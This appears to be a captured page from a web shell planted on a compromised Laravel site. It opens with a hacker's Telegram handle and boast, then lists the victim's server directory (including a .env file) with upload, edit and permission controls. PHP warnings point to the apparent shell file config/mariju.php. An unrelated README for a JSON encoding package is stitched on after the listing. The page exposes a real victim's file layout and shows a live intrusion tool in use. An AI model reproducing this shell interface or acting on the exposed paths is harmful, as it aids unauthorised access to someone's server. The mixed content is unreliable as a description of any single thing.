telegram : @iamdarkcomedy i am hacker

path :/home/bisorgosof24/public_html/Backup23122024

upload file:

List of files:

name file size edit permission action
.env2733 KBDecember 22 2024 06:20:070644
404.html58370 KBNovember 20 2024 15:32:220644
502.html58368 KBNovember 20 2024 15:32:220644
Modules-December 11 2024 21:02:560755
README.md4158 KBFebruary 14 2023 12:31:560644
app-December 11 2024 17:57:480755
artisan1686 KBFebruary 14 2023 12:31:560644
bootstrap-December 11 2024 20:23:360755
composer.json3761 KBDecember 11 2024 22:15:000644
composer.lock512048 KBDecember 11 2024 22:13:280644
config-June 15 2025 02:09:360755
database-December 05 2024 20:18:120755
dfsdf dfds fd fds findex.html1420 KBNovember 20 2024 15:32:240644
error_log14165720 KBJuly 18 2025 16:01:100644
firoz-December 23 2024 13:24:460755
index.php1667 KBDecember 14 2024 05:20:360644
lang-December 11 2024 21:02:480755
modules_statuses.json472 KBNovember 20 2024 15:32:240644
mpos-March 31 2025 02:36:310755
package.json226 KBFebruary 14 2023 12:31:560644
phpunit.xml1146 KBFebruary 14 2023 12:31:560644
public-March 31 2025 02:36:310755
resources-December 11 2024 21:10:220755
routes-June 15 2025 02:09:310755
storage-December 11 2024 21:12:440755
tests-December 05 2024 20:18:120755
vendor-December 11 2024 22:13:300755
vite.config.js263 KBFebruary 14 2023 12:31:560644

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 227

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 228

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 229

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 230
# Json Raw Encoder Use this package to encode arrays to JSON with raw JS objects (eg. callbacks) in them. ## Installation ```bash composer require balping/json-raw-encoder ``` ## Usage Suppose you need to pass a callback to a JSON object. ```php 'cat', 'count' => 42, 'callback' => 'function(a){alert(a);}' ]; ?> ``` However, the above array will be encoded as ```json {"type":"cat","count":42,"callback":"function(a){alert(a);}"} ``` On this object, you cannot call `callback()`, as `callback` is a string and not a function. To get around this problem, use `Raw` objects provided by this package: ```php 'cat', 'count' => 42, 'callback' => new Raw('function(a){alert(a);}') ]; ?> ``` Now, the encoded JSON looks like this. Notice, that there are no quotation marks around the function. ```js {"type":"cat","count":42,"callback":function(a){alert(a);}} ``` Calling `bar.callback()` now works, as `callback` is a function and not a string. ## Using with third party libraries It is possible that the serialisation is done by a library (eg. Fractal), and not by your code, i.e. you cannot replace `json_encode` with `Encoder::encode()`. In this case, you can still pass callbacks to JSON, by passing the encoded json and an array of all raw objects to `Replacer::replace()`: ```php use Balping\JsonRaw\Raw; use Balping\JsonRaw\Replacer; $rawObjects = []; $array = [ 'type' => 'cat', 'count' => 42, 'callback' => $rawObjects[] = new Raw('function(a){alert(a);}') ]; // you cannot alter the behaviour of a third party encoder $encoded = $thirdParty->jsonEncode($array); echo Replacer::replace($encoded, $rawObjects); ``` Result: ```js {"type":"cat","count":42,"callback":function(a){alert(a);}} ``` ## License This package is licensed under GPLv3. ## Download statistics [![statistics](https://packagist-statistics.dura.hu/balping/json-raw-encoder/10days.svg)](https://packagist-statistics.dura.hu/balping/json-raw-encoder/10days.svg)